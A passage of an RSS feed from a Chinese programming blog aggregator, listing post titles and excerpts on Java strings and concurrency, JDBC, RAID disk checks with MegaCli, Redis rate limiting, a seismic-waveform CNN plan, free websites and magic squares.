      <description>一.Java字符串类基本概念&#xA;在JAVA语言中，字符串数据实际上由String类所实现的。Java字符串类分为两类：一类是在程序中不会被改变长度的不变字符串；二类是在程序中会被改变长度的可变字符串。Java环境为了存储和维护这两类字符串提供了 String和StringBuffer两个类。&#xA;一、创建字符串&#xA;例： Stringstr=new(&#34;This is a String&#34;);&#xA;或者 Stringstr=&#34;This is a String&#34;;&#xA;二、得到字符串对象的有关信息1.通过调用length()方法得到String的长度.&#xA;例：&#xA;String str=&#34;Thisis a String&#34;;&#xA;int len =str.length();&#xA;2.StringBuffer类的capacity()方法与String类的 length()的方法类似，但是她测试是分配给StringBuffer的内存空间的大小，而不是当前被使用了的内存空间。&#xA;3．如果想确定字符串中指定字符或子字符串在给定字符串的位置，可以用 indexOf()和lastIndexOf()方法。&#xA;String str=&#34;Thisis a String&#34;;&#xA;Int index1 =str.indexOf(&#34;i&#34;); //index=2&#xA;Intindex2=str.indexOf(‘i‘,index+1); //index2=5&#xA;Intindex3=str.lastIndexOf(&#34;I&#34;); //index3=15&#xA;Intindex4=str.indexOf(&#34;String&#34;); //index4=10&#xA;三、String对象的比较和操作&#xA;1．String对象的比较&#xA;String类的equals()方法用来确定两个字符串是否相等。&#xA;String str=&#34;Thisis a String&#34;;&#xA;Boolean result=str.equals(&#34;This is another String&#34;);&#xA;//result=false&#xA;2．String对象的访问&#xA;A、方法charAt()用以得到指定位置的字符。&#xA;String str=&#34;Thisis a String&#34;;&#xA;char chr=str.charAt(3); //chr=&#34;i&#34;&#xA;B、方法getChars()用以得到字符串的一部分字符串&#xA;public voidgetChars(int srcBegin,intsrcEnd,char[]dst,intdstBegin)&#xA;String str=&#34;Thisis a String&#34;</description>
    </item>
    <item>
      <title>服务器检查硬盘状态</title>
      <link>https://bchobby.github.io/posts/dc8161f8a6ed3dfbe45911508a173a6b/</link>
      <pubDate>Sun, 14 Feb 2021 22:17:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc8161f8a6ed3dfbe45911508a173a6b/</guid>
      <description>下载megacli安装包 ftp://download2.boulder.ibm.com/ecc/sar/CMA/XSA/ibm_utl_sraidmr_megacli-8.00.48_linux_32-64.zip&#xA;将压缩包存放在服务器的/tmp目录下 并解压压缩包 unzip ibm_utl_sraidmr_megacli-8.00.48_linux_32-64.zip 当前目录下会出现Linux的目录 cd linux rpm -ivh * 查看所有硬盘信息 /opt/MegaRAID/MegaCli/MegaCli64 -PDList -aALL 查看磁盘重建进度 /opt/MegaRAID/MegaCli/MegaCli64 -ShowProg -PhysDrv [32:0] -a0 ————32：设备ID/ 0：槽位&#xA;硬盘相关信息解析 FJ_4G_DPI_CX_YWGZ_JK_004:~ # /opt/MegaRAID/MegaCli/MegaCli64 -PDList -aALL Adapter #0 Enclosure Device ID: 32&#x9;——设备ID Slot Number: 0&#x9;——槽位 Enclosure position: 0&#x9;Device Id: 0 Sequence Number: 2 Media Error Count: 0&#x9;——物理错误 Other Error Count: 0&#x9;—— Predictive Failure Count: 0 Last Predictive Failure Event Seq Number: 0 PD Type: SATA&#x9;——磁盘错误 Raw Size: 931.</description>
    </item>
    <item>
      <title>蓝桥杯嵌入式系统备赛笔记</title>
      <link>https://bchobby.github.io/posts/1411b9316a0784da9706cee79f4b0929/</link>
      <pubDate>Sun, 14 Feb 2021 11:59:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1411b9316a0784da9706cee79f4b0929/</guid>
      <description>蓝桥杯嵌入式系统备赛笔记之创建工程 毕竟这是一个比赛，所以我们要学会利用比赛方提供的资源进行快速的工程配置，从而达到节省比赛时间，有足够的时间去答完所有题的目的。&#xA;废话不多说，正片开始：&#xA;第一步：打开文件夹&#xA;（到时候比赛方会给你一个资源包，类似上面的）&#xA;选择打开液晶驱动参考例程&#xA;第二步:创建tick.c文件&#xA;打开这个工程后&#xA;新建tick.c文件&#xA;添加tick.h文件&#xA;将文件添加到组中（如下图）&#xA;第三步：编写tick.c,tick.h文件&#xA;打开main,c&#xA;将红笔部分剪切到tick.c以及tick.h中，并且定义全局变量(如下图)&#xA;在main.c中，通过鼠标右击进入到下图函数的定义里&#xA;将蓝色部分复制到tick.c中&#xA;在tick.h里生命一下该函数，记得要把前面的__STATIC_INLINE删去。并且把复制后的该函数改个名。最终main.c，tick.c，tick.h里的东西（如下图）&#xA;第四步：编译一下&#xA;没有出错，这里要注意，到后面比赛用的中断较多，所以我们把系统时钟的优先级改一下（如下图）&#xA;蓝色部分删去&#xA;千万不能在内核文件里修改，比赛方要求不能更改内核文件。所以只能在tick.c中修改你复制过来的函数。</description>
    </item>
    <item>
      <title>java callable 等待_Java 如何让主线程不阻塞的等待结果，而是去执行其他任务，等到子线程执行完以后通知主线程？...</title>
      <link>https://bchobby.github.io/posts/3c61e1ecbfdee8bd48d250d463ee9042/</link>
      <pubDate>Sat, 13 Feb 2021 19:25:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c61e1ecbfdee8bd48d250d463ee9042/</guid>
      <description>javapackage test;&#xA;import java.util.concurrent.Callable;&#xA;import java.util.concurrent.ExecutionException;&#xA;import java.util.concurrent.FutureTask;&#xA;public class Main {&#xA;public static class MyCallable implements Callable {&#xA;public Integer call() throws Exception {&#xA;Thread.sleep(10000);&#xA;return 1;&#xA;}&#xA;}&#xA;public static void main(String[] args) {&#xA;MyCallable callable = new MyCallable();&#xA;FutureTask task = new FutureTask(callable);&#xA;Thread t = new Thread(task);&#xA;try {&#xA;t.start();&#xA;System.out.println(task.get());&#xA;System.out.println(&#34;here&#34;);&#xA;} catch (InterruptedException e) {&#xA;e.printStackTrace();&#xA;} catch (ExecutionException e) {&#xA;e.printStackTrace();&#xA;}</description>
    </item>
    <item>
      <title>地震波形自动分类及识别(构想)</title>
      <link>https://bchobby.github.io/posts/8585ce8fe92c3b336135691b868e33dc/</link>
      <pubDate>Sat, 13 Feb 2021 15:32:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8585ce8fe92c3b336135691b868e33dc/</guid>
      <description>地震波形自动分类及识别 一、任务背景二、数据格式三、拟采用方法及理由3.1、提高计算速度1、减少噪声2、算法优化 3.2、提高泛化性1、提高地域相关泛化性2、提高学习效率3、数据增强 3.3、实验与检测 一、任务背景 随着地震仪在全球范围的大规模部署，人类已经进入地震大数据时代．如何处理地震网络每天收集的大量数据，特别是从质量参差不齐的连续波形记录中分离出地震和噪声是一个非常棘手的问题．大地震发生之后，抗震救灾与应急救援需要对余震序列进行动态的监测与快速定位，地震编目，地球内部速度结构研究如层析成像等都是以大量地震事件的挑选与到时拾取作为基础，而目前这些工作仍主要靠低效的人工完成。&#xA;发展高效、高精度、普适性强的自动波形拾取算法在地震大数据时代背景下显得越来越重要．波形自动拾取算法的主要挑战来自如何适应不同区域的不同类型地震事件的分类与筛选。&#xA;与基于单一或多个特征函数的传统方法相比，ＣＮＮ 网络的精度和召回率（误检和漏检率）相比传统算法有非常明显的提升（降低），并且训练好的模型具有非常稳定的输出能力，不需要根据不同信噪比水平的数据频繁调整阈值．与模板匹配、ＦＡＳＴ 等严格基于波形相似性的方法不同，ＣＮＮ 神经网络从训练数据中提取的是抽象特征，这意味着模型具有更强的泛化能力，能够与更多样的波形特 征 相 匹 配，所 以 ＣＮＮ 往往能够检测到新的地震类型，这也是深度学习方法的主要优势所在。&#xA;二、数据格式 以汶川地震之后四川及邻区１４个台站７~８月期间手动挑选的 13839 条和 8900 条地震事件波形分别构建训练数据集和测试集，搭建深度卷积神经网络进行模型训练和测试。&#xA;数据集包括：&#xA;1.stlist.txt：列出数据来自的站点。&#xA;2.wenchuan_aftershocks_picks_2008_6_to_9.csv：汶川余震的25000个P和S拾取的UTC时间戳（高度可信），您可以使用它为CNN数据集或U-net数据集构建正样本。如果您仍然不知道如何操作，第1和第2页将为您提供有关操作方法的说明。有关CNN数据集，您也可以参考https://github.com/mingzhaochina/ConvNetQuake。&#xA;3.wenchuan_bold_catalog.csv：用于构建CNN的负样本（噪声）。您需要在连续数据中避免这些时间戳处于某 个范围内，例如[-60s，+ 60s]。&#xA;三、拟采用方法及理由 多个地震事件建立数据集并训练 ＣＮＮ 模型，其得到的模型具有较强的泛化能力，即使对与训练数据所属区域构造不同的地区，也能有效检测。&#xA;3.1、提高计算速度 1、减少噪声 尽可能减少事件人工标注和噪声随机筛选带来的误差，我们手动对数据集进行了清洗，更正较为明显的标注错误&#xA;应用长短窗方法，根据各地台站的信噪比&#xA;条件选择合适的阈值做初步筛选，这样做是为了提高算法效率，过滤掉大部分环境噪声。&#xA;2、算法优化 使用Ｌ２正则化以及随机梯度下降算法来最小化交叉熵损失函数，并用 ＡＤＡＭ 优化算法以及可变时间步长，进一步提高了计算效率，在保证精度的同时有效提升计算速度。&#xA;3.2、提高泛化性 核心思想：理想的数据集的每一类别都需要充分的样本数量，并且能够覆盖地震波形所具有的各种复杂特征。&#xA;1、提高地域相关泛化性 由于不同的区域具有不同地质构造背景，其事件波形也各不相同，因此我们参考历史地震活动性区域划分按照地震震中之间 的 欧 几 里 得 距 离 进 行 了 Ｋ－Ｍｅａｎｓ 聚 类 算法划分，增强 ＣＮＮ 算法性能与地域的相关性。&#xA;2、提高学习效率 过多重复的数据需要设置合适的阈值，清洗掉部分数据，保证在维持低水平误差率的情况下避免过拟合。&#xA;3、数据增强 为了防止数据量过小可能导致的泛化性差，我们还对清洗后的数据集进行了数据增强操作。由于地震三分量波形可以看作一维三通道图像数据，可参照图像识别，采用了如下几种常用的数据增强方式：平移、加噪（模糊处理）、滤波。&#xA;同时 ＣＮＮ 方法还可以通过将误分类波形代入数据集重新训练，从而获得越来越 好的实际分类效果。</description>
    </item>
    <item>
      <title>B 站疯传，堪称最强，10 大免费的白嫖网站</title>
      <link>https://bchobby.github.io/posts/38c30012edfbfa19d71287ecfd84a118/</link>
      <pubDate>Sat, 13 Feb 2021 13:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38c30012edfbfa19d71287ecfd84a118/</guid>
      <description>点击上方蓝色小字，关注“涛哥聊Python”&#xA;重磅干货，第一时间送达&#xA;来自公众号：Python知识圈&#xA;如果你喜欢在 B 站学习的话，可以经常看到一些介绍网站类的视频，这些视频有不俗的播放量。&#xA;本次给大家分享下吴师兄从这些视频里挑选出的十个网站，嗯，可以免费白嫖的那种。&#xA;万能命令 https://wanneng.run/cn/ 在你浏览任意网页时，在网址前面输入这个万能命令 wn.run/ 就会展示出用于该网页的各种附加在线工具，方便快捷，一行命令搞定！&#xA;收录了很多高质量的工具，还没有平台的限制，PC、android、ios 等都可使用，一个白嫖工具会带出大量的「白嫖工具」，妙啊！&#xA;比如我在 B 站网址前加上 wn.run/，回车后看到大量的工具，直接点击就可用，贼方便！&#xA;在线PS 你是否因为要 P 一张图而不得不下载 PS 软件，PS 软件又是收费的，也许这款线上 PS 工具可以帮到你。&#xA;https://www.photopea.com/ 功能几乎和 PS 软件一样，网页打开，方便快捷。&#xA;小森平的免费下载音效 https://taira-komori.jpn.org/freesoundcn.html 一个日本小哥维护的网站，里面有大量的音效可以免费下载使用，包括日常生活、游戏、音乐等，做视频的伙伴的福利，但是使用时，记得说明效果音素材的出处。&#xA;网易见外工作台 https://jianwai.youdao.com/ 支持用网易邮箱账号登陆，每天开放 2 小时的白嫖时间，新建一个项目，我们可以用来翻译视频，AI 自动生成中英文双语字幕，字幕翻译，文档翻译，图片文字识别，语音翻译等等，每天快乐白嫖 2 小时，对于我们这种业余用的，足够了。&#xA;ypppt http://www.ypppt.com/ 一个有情怀的免费 PPT 模版下载网站，大量免费的 PPT 模板供大家下载使用，还有 PPT 背景、PPT 图表、PPT 教程，你也可以通过关键字来搜索你需要的模板。还有大量字体库可以下载使用，不过如果字体用过商业的话注意版权问题，方正慎用，思源可以用，开源的。&#xA;iData https://www.cn-ki.net/ 一个查阅期刊文献的学术资料网站，iData 平台上所有信息均为公开发表的学术文献，由学者自由上传，并提供有限的免费浏览、下载服务。通过关键词搜索，点击下载就会以 PDF 格式下载到本地。&#xA;中文期刊、硕博、会议、报纸全库都可以下载，除了中文文献之外，idata 还可下载外文文献。点击首页那里的外文即可进入谷歌镜像网站。&#xA;临时邮箱 24mail.chacuo.net 有时在有些网站需要填写邮箱登录，但我们可能只是一次性用下，这时如果你不想用你自己常用的邮箱注册，可以用这个临时邮箱，等你决定长久用这个网站了，再换成你自己的邮箱，这样就避免了信息干扰。&#xA;邮箱可以持续 24 小时有效，可以任意设置邮箱名，随时更换邮箱，方便。&#xA;临时接收手机验证码 https://www.materialtools.com/ 注册一些不常用的网站时可以用这个网站的临时手机号接收验证码，这些号码都可以点击进去阅读短信，避免用自己真实号码经常收到骚扰短信。</description>
    </item>
    <item>
      <title>java中isdirectory_Java File isDirectory()用法及代码示例</title>
      <link>https://bchobby.github.io/posts/a305f46f137bfd964d652a94ac9d3f44/</link>
      <pubDate>Sat, 13 Feb 2021 11:04:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a305f46f137bfd964d652a94ac9d3f44/</guid>
      <description>isDirectory()函数是Java中File类的一部分。此函数确定由抽象文件名表示的文件或目录是否为Directory。如果抽象文件路径为Directory，则函数返回true，否则返回false。&#xA;函数签名：&#xA;public boolean isDirectory()&#xA;用法:&#xA;file.isDirectory()&#xA;参数：此方法不接受任何参数。&#xA;返回值：该函数返回表示抽象文件路径是否为目录的布尔值&#xA;异常：如果对文件的读取访问被拒绝，则此方法将引发Security Exception&#xA;以下示例程序旨在说明isDirectory()函数的用法：&#xA;范例1：文件“F:\\program.txt”是F：目录中的现有文件。&#xA;// Java program to demonstrate&#xA;// isDirectory() method of File Class&#xA;import java.io.*;&#xA;public class solution {&#xA;public static void main(String args[])&#xA;{&#xA;// Get the file&#xA;File f = new File(&#34;F:\\program&#34;);&#xA;// Check if the specified path&#xA;// is a directory or not&#xA;if (f.isDirectory())&#xA;System.out.println(&#34;Directory&#34;);&#xA;else&#xA;System.out.println(&#34;is not Directory&#34;);&#xA;}&#xA;}&#xA;输出：&#xA;Directory&#xA;范例2：文件“F:\\program1”是F：目录中不存在的目录。</description>
    </item>
    <item>
      <title>java二进制权限_Java 二进制权限控制算法</title>
      <link>https://bchobby.github.io/posts/db44325bc3d9c3cff0474bb4b9f95247/</link>
      <pubDate>Fri, 12 Feb 2021 22:46:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db44325bc3d9c3cff0474bb4b9f95247/</guid>
      <description>二进制权限控制算法，主要是利用了(&amp;amp;，|， ~)运算的特性。&#xA;String s1 = &#34;0000000000000000000000000000000000000001&#34;; // 添加&#xA;String s2 = &#34;0000000000000000000000000000000000000010&#34;; // 删除&#xA;String s3 = &#34;0000000000000000000000000000000000000100&#34;; // 修改&#xA;String s4 = &#34;0000000000000000000000000000000000001000&#34;; // 查看&#xA;long iPermission1 = Long.parseLong(s1, 2) | Long.parseLong(s2, 2); // 添加权限&#xA;long iPermission2 = iPermission1 &amp;amp; (~Long.parseLong(s1, 2)); // 删除权限&#xA;long is1 = Long.parseLong(s1, 2);&#xA;long is2 = Long.parseLong(s2, 2);&#xA;long is3 = Long.parseLong(s3, 2);&#xA;long is4 = Long.parseLong(s4, 2);&#xA;/* iPermission1 拥有的权限 */</description>
    </item>
    <item>
      <title>Parcelable与Serializable</title>
      <link>https://bchobby.github.io/posts/c0787770a17611843a64938834574f41/</link>
      <pubDate>Fri, 12 Feb 2021 22:44:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0787770a17611843a64938834574f41/</guid>
      <description>由于 Java 的 Serializable 的性能较低，Parcelable 正式在这个背景下产生的，它核心作用就是为了解决 Android 中大量跨进程通信的性能问题。&#xA;Serializable使用大量反射和临时变量，而Parcelable少许反射&#xA;通过启动 Activity 过程分析 Parcelable 序列化过程：&#xA;熟悉这一过程的朋友过程肯定知道，startActivity 方法最终会通过 AMS（ActivityManagerService）完成跨进程通信调用，但是在通信之前先要将数据序列化后进行传输&#xA;public int startActivity(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle options) throws RemoteException { //负责写出 Parcel data = Parcel.obtain(); //负责读取 Parcel reply = Parcel.obtain(); data.writeInterfaceToken(IActivityManager.descriptor); data.writeStrongBinder(caller != null ? caller.asBinder() : null); data.writeString(callingPackage); //我们分析Parcelable序列化重点在这里 intent.writeToParcel(data, 0); data.writeString(resolvedType); data.writeStrongBinder(resultTo); data.writeString(resultWho); data.writeInt(requestCode); data.writeInt(startFlags); if (profilerInfo !</description>
    </item>
    <item>
      <title>java事务 存储过程 事务_Java数据库连接--JDBC调用存储过程，事务管理和高级应用...</title>
      <link>https://bchobby.github.io/posts/6343cd15290fb7c514822fe22c9f29b3/</link>
      <pubDate>Fri, 12 Feb 2021 18:28:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6343cd15290fb7c514822fe22c9f29b3/</guid>
      <description>一、JDBC常用的API深入详解及存储过程的调用&#xA;1、存储过程的介绍&#xA;我们常用的操作数据库语言SQL语句在执行的时候要先进行编译，然后执行，而存储过程是在大型数据库系统中，一组为了完成特定功能的SQL语句集，存储在数据库中，经过第一次编译后再次调用不需要再次编译，用户通过制定存储过程的名字并给出参数(如果该存储过程带有参数) 来执行它。存储过程是数据库中 的一个重要对象，任何一个设计良好的数据库应用程序都应该用到存储过程。&#xA;一个存储过程是一个可编程的函数，它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或者平台上执行相同函数，或者封装特定功能时，存储过程非常有用。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。&#xA;存储过程有以下优点：&#xA;(1).存储过程增强了SQL语言的功能和灵活性。存储过程可以用流控制语句编写，有很强的灵活性，可以完成复杂的判断和较复杂的运算。&#xA;(2).存储过程允许标准组件是编程。存储过程被创建后，可以在程序中被多次调用，而不必重新编写该存储过程的SQL语句。而且数据库&#xA;专业人员可以随时对存储过程进行修改，对应用程序源代码毫无影响。&#xA;(3).存储过程能实现较快的执行速度。如果某一操作包含大量的Transaction-SQL代码或分别被多次执行，那么存储过程要比批处理的执行速度快很多。&#xA;因为存储过程是预编译的。在首次运行一个存储过程时查询，优化器对其进行分析优化，并且给出最终被存储在系统表中的执行计划。而批处理的Transaction-SQL&#xA;语句在每次运行时都要进行编译和优化，速度相对要慢一些。&#xA;(4).存储过程能过减少网络流量。针对同一个数据库对象的操作(如查询、修改)，如果这一操作所涉及的Transaction-SQL语句被组织程存储过程，&#xA;那么当在客户计算机上调用该存储过程时，网络中传送的只是该调用语句，从而大大增加了网络流量并降低了网络负载。&#xA;(5).存储过程可被作为一种安全机制来充分利用。系统管理员通过执行某一存储过程的权限进行限制，能够实现对相应的数据的访问权限的限制，避免&#xA;了非授权用户对数据的访问，保证了数据的安全。&#xA;简单说，好处主要：&#xA;1、由于数据执行动作时，先编译后执行，然而存储过程是一个编译过的代码块，所以执行效率比T-SQL高。&#xA;2、一个存储过程在程序中交互可以替代大队的T-SQL语句，所以也能降低网络的通信量，提高通信效率。&#xA;3、通过存储过程能够使没有权限的用户在控制之下间接存取数据库，保证数据安全。&#xA;2、Jdbc调用无参数存储过程&#xA;存储过程代码：&#xA;CREATE PROCEDURE imooc_db.sp_select_nofilter()&#xA;BEGIN&#xA;select*from imooc_goddess;&#xA;END;&#xA;调用代码：&#xA;Connection conn=DBUtil.getConnection();&#xA;CallableStatement c=conn.prepareCall(&#34;call sp_select_nofilter()&#34;);&#xA;c.execute();&#xA;ResultSet rs=c.getResultSet();&#xA;在数据库中新建存储过程：&#xA;注意：创建的存储过程名称不要加&#34;()&#34;,不然在调用存储过程会出错。&#xA;代码示例：&#xA;1 packageproduceDao;2&#xA;3 importjava.sql.CallableStatement;4 importjava.sql.Connection;5 importjava.sql.ResultSet;6 importjava.sql.SQLException;7&#xA;8 importsql.Dao.DBUtil;9&#xA;10 public classProduceDAO {11 public void select_nofilter() throwsSQLException{12 //1、获得连接&#xA;13 Connection connection=DBUtil.getConnection();14 //2、获得CallableStatement&#xA;15 CallableStatement cs=connection.prepareCall(&#34;call sp_select_nofilter()&#34;);16 //3、执行存储过程</description>
    </item>
    <item>
      <title>was java heap space_Java heap space 解决方法（转）</title>
      <link>https://bchobby.github.io/posts/b83d7dc1729ba634a7f64cc1eb95763d/</link>
      <pubDate>Fri, 12 Feb 2021 12:51:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b83d7dc1729ba634a7f64cc1eb95763d/</guid>
      <description>因为程序要从数据读取近10W行记录处理，当读到9W的时候就出现 java.lang.OutOfMemoryError: Java heap&#xA;space 这样的错误。&#xA;在网上一查可能是JAVA的堆栈设置太小的原因。&#xA;跟据网上的答案大致有这两种解决方法：&#xA;1、设置环境变量&#xA;set JAVA_OPTS= -Xms32m -Xmx512m&#xA;可以根据自己机器的内存进行更改,但本人测试这种方法并没有解决问题。可能是还有哪里需要设置。&#xA;2、java -Xms32m -Xmx800m className&#xA;就是在执行JAVA类文件时加上这个参数，其中className是需要执行的确类名。(包括包名)&#xA;这个解决问题了。而且执行的速度比没有设置的时候快很多。&#xA;如果在测试的时候可能会用Eclispe 这时候就需要在Eclipse -&amp;gt;run -arguments 中的VM arguments&#xA;中输入-Xms32m -Xmx800m这个参数就可以了。&#xA;java.lang.OutOfMemoryError: Java heap space&#xA;===================================================&#xA;使用Java程序从数据库中查询大量的数据时出现异常:&#xA;java.lang.OutOfMemoryError: Java heap space&#xA;在JVM中如果98％的时间是用于GC且可用的 Heap size 不足2％的时候将抛出此异常信息。&#xA;JVM堆的设置是指java程序运行过程中JVM可以调配使用的内存空间的设置.&#xA;JVM在启动的时候会自动设置Heap&#xA;size的值，其初始空间(即-Xms)是物理内存的1/64，最大空间(-Xmx)是物理内存的1/4。可以利用JVM提供的-Xmn -Xms&#xA;-Xmx等选项可进行设置。&#xA;例如：java -jar -Xmn16m -Xms64m -Xmx128m MyApp.jar&#xA;如果Heap Size设置偏小，除了这些异常信息外，还会发现程序的响应速度变慢了。GC占用了更多的时间，而应用分配到的执行时间较少。&#xA;Heap Size 最大不要超过可用物理内存的80％，一般的要将-Xms和-Xmx选项设置为相同，而-Xmn为1/4的-Xmx值。&#xA;Heap size的 -Xms -Xmn 设置不要超出物理内存的大小。否则会提示“Error occurred during&#xA;initialization of VM Could not reserve enough space for object heap”。</description>
    </item>
    <item>
      <title>java去除空格_教你使用java实现去除各种空格</title>
      <link>https://bchobby.github.io/posts/0324e0b2a48a7ffe6307cbaa24e1cfb1/</link>
      <pubDate>Fri, 12 Feb 2021 09:30:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0324e0b2a48a7ffe6307cbaa24e1cfb1/</guid>
      <description>1. String.trim()&#xA;trim()是去掉首尾空格&#xA;2.str.replace(&#34; &#34;, &#34;&#34;); 去掉所有空格，包括首尾、中间&#xA;String str = &#34; hell o &#34;;&#xA;String str2 = str.replaceAll(&#34; &#34;, &#34;&#34;);&#xA;System.out.println(str2);&#xA;3.或者replaceAll(&#34; +&#34;,&#34;&#34;); 去掉所有空格&#xA;4.str = .replaceAll(&#34;\s*&#34;, &#34;&#34;);&#xA;可以替换大部分空白字符， 不限于空格&#xA;s 可以匹配空格、制表符、换页符等空白字符的其中任意一个&#xA;5.或者下面的代码也可以去掉所有空格，包括首尾、中间&#xA;public String remove(String resource,char ch)&#xA;{&#xA;StringBuffer buffer=new StringBuffer();&#xA;int position=0;&#xA;char currentChar;&#xA;while(position&#xA;{&#xA;currentChar=resource.charAt(position++);&#xA;if(currentChar!=ch) buffer.append(currentChar); } return buffer.toString();&#xA;}&#xA;以上就是本文给大家分享的全部内容了，希望大家能够喜欢。&#xA;请您花一点时间将文章分享给您的朋友或者留下评论。我们将会由衷感谢您的支持！</description>
    </item>
    <item>
      <title>横竖三个数的和相等_小学数学中的九宫格，横竖斜的和都相等地，你会填几种？...</title>
      <link>https://bchobby.github.io/posts/ad041143204f7bbf0b80e123668d5613/</link>
      <pubDate>Fri, 12 Feb 2021 07:35:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad041143204f7bbf0b80e123668d5613/</guid>
      <description>把1.2.3.4.5.6.7.8.9填入方格里，使横竖斜每行三个数的和相等？&#xA;这是著名的九宫格问题，解答这样的问题一般要用的规律是，大小数配对，中间数据中央的解题思路。在理解这个技巧的基础上，解答九宫格的问题还有一个口诀，帮助孩子去快速解答。&#xA;二,四有肩, 六,八为足. 戴九履一, 左七右三&#xA;下面结合分析如下：&#xA;具体填写&#xA;当然，这个口诀只是帮助快速思考，具体还要通过演算，调整，足位、肩位、左右的数据。&#xA;通过口诀填写基本，再做调整，还有如下填法&#xA;数学学习就是在熟练掌握基础知识，基本技巧的基础上，还要做到灵活运用才为上策。&#xA;往深一些，这也是一道三阶幻方问题。&#xA;把1、2、3、4、5、6、7、8、9，填入九宫格内，使横竖斜，每行的三个数的和都相等，这个相等的和是15被称作幻和。&#xA;下一步我们要确定中间数是多少，根据直觉，这个数应该是5,怎么可以证明这一点呢。大家请注意观察下面这个图，请注意到通过中心格的十字以及对角线，他们是正好是四个幻和60，同时通过中心格的十字及对角线的图案等于所有数的和加上三倍中间格。&#xA;其实还可以用更简单的方法来证明这一点。1+9等于10，2+8等于10，3+7等于10，4+6等于10，这四对数的和，再加上5都等于15。因此我们可以确定，中心格的数字是5。我们仔细观察这四对数可以发现，它们是两对奇数和两对偶数。下面我们根据奇偶数的性质来确定四个角应该填哪些数字。&#xA;1、若填两对奇数，那么三个奇数的和才可能得奇数，边上的空格需要填奇数，但是我们的奇数已经用完了。所以说四个角是奇数不成立。&#xA;2、若四个角分别填一对偶数，一对奇数，则四个边儿上的数，都应该填偶数，问题是我们没有那么多的偶数。所以说四个角填一对奇数，一对偶数也是行不通的。&#xA;能行得通的方案只剩一种了，那就是四个角填两对偶数，四个奇数对应的填到四个边儿上。中心格确定了，四个角也确定了，于是整个幻方也就确定了。&#xA;本题的三阶幻方共有八种情况，如下。</description>
    </item>
    <item>
      <title>华硕主板装系统蓝屏_华硕主板安装死性不改win10ltsb 启动蓝屏</title>
      <link>https://bchobby.github.io/posts/94f2c3979fe862969ff501504b445e70/</link>
      <pubDate>Thu, 11 Feb 2021 20:53:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94f2c3979fe862969ff501504b445e70/</guid>
      <description>版本 6003&#xA;2012/12/066.92 MBytes&#xA;P8B-C Series BIOS 6003 formal release&#xA;1. Support Windows 2012.&#xA;2. Patch Ctrl+M can&#39;t enter LSI RADI Card Utility after booting to any USB/HDD.&#xA;3. Patch can&#39;t boot to OS when Promise RAID Card is plugged.&#xA;4. Patch can&#39;t boot to OS when Adaptec RAID Card is plugged.&#xA;5. Support NTFS file system in EZFlash.&#xA;6. Change the default setting of &#34;Redirection After BIOS POST&#34; to BootLoader rather than Always Enable.</description>
    </item>
    <item>
      <title>redis并发锁 thinkphp5_thinkphp5 &#43; redis 实现接口高并发限流</title>
      <link>https://bchobby.github.io/posts/1accc784c867d48bd625e85c727ce0ae/</link>
      <pubDate>Thu, 11 Feb 2021 08:08:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1accc784c867d48bd625e85c727ce0ae/</guid>
      <description>基于redis实现接口限流，主要使用Redis的一个模块：Redis-Cell&#xA;话不多述直接上代码：&#xA;先看下我项目目录:&#xA;LeakyBucket实现类&#xA;namespace app\common\server;&#xA;class LeakyBucket&#xA;{&#xA;protected $key = null;&#xA;protected $max_burst = null;&#xA;protected $tokens = null;&#xA;protected $seconds = null;&#xA;protected $apply = 1;&#xA;protected $redis_connect;&#xA;/**&#xA;* LeakyBucket construct&#xA;* @param $key string&#xA;* @param $max_burst int 初始桶数量&#xA;* @param $tokens int 速率&#xA;* @param $seconds int 时间&#xA;* @param int $apply 每次漏水数量&#xA;*/&#xA;public function __construct($key, $max_burst, $tokens, $seconds, $apply = 1)</description>
    </item>
    <item>
      <title>mysql数据库地址 名称_数据库地址和名称是什么？怎么知道自己地址和名称？</title>
      <link>https://bchobby.github.io/posts/c5412d82ca9f338d68ab03d6e0742a98/</link>
      <pubDate>Thu, 11 Feb 2021 04:41:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5412d82ca9f338d68ab03d6e0742a98/</guid>
      <description>展开全部&#xA;1、如果说数据库是Access，那么数据库名称就是你上传的文件名(即xxx.mdb文件，可修改)，用户名和密32313133353236313431303231363533e78988e69d8331333365646339码即自己在文件里设置，无需询问空间服务商。&#xA;2、如果说数据库是SQL-Server(即MsSQL)，那么数据库服务器IP地址、数据库名称、登录用户名和密码空间服务商会告诉你的，他们告诉你什么你就填上去就可以了，一般来说网站和数据库会被安装到一台服务器上，那么服务器IP地址项就为(local)。&#xA;一、全球IP地址分配：&#xA;由IANA(Internet Assigned Numbers Authority)负责管理，官方网站是：Internet Assigned Numbers Authority。&#xA;二、数据库默认端口：&#xA;(一)、Oracle：&#xA;(1)、驱动：oracle.jdbc.driver.OracleDriver；&#xA;(2)、URL：jdbc:oracle:thin:@&amp;lt;:port&amp;gt;:dbname；&#xA;(3)、port：端口号，默认是1521。&#xA;(二)、SQL Server：&#xA;(1)、驱动：com.microsoft.jdbc.sqlserver.SQLServerDriver；&#xA;(2)、URL：jdbc:microsoft:sqlserver://&amp;lt;:port&amp;gt;;DatabaseName=；&#xA;(3)、port：端口号，默认是1433。&#xA;(三)、MySQL：&#xA;(1)、驱动：org.gjt.mm.mysql.Driver；&#xA;(2)、URL：jdbc:mysql://&amp;lt;:port&amp;gt;/dbname；&#xA;(3)、port：端口号，默认3306。</description>
    </item>
    <item>
      <title>python虚拟人脸生成_一个用StyleGAN训练出的黄种人人脸生成器</title>
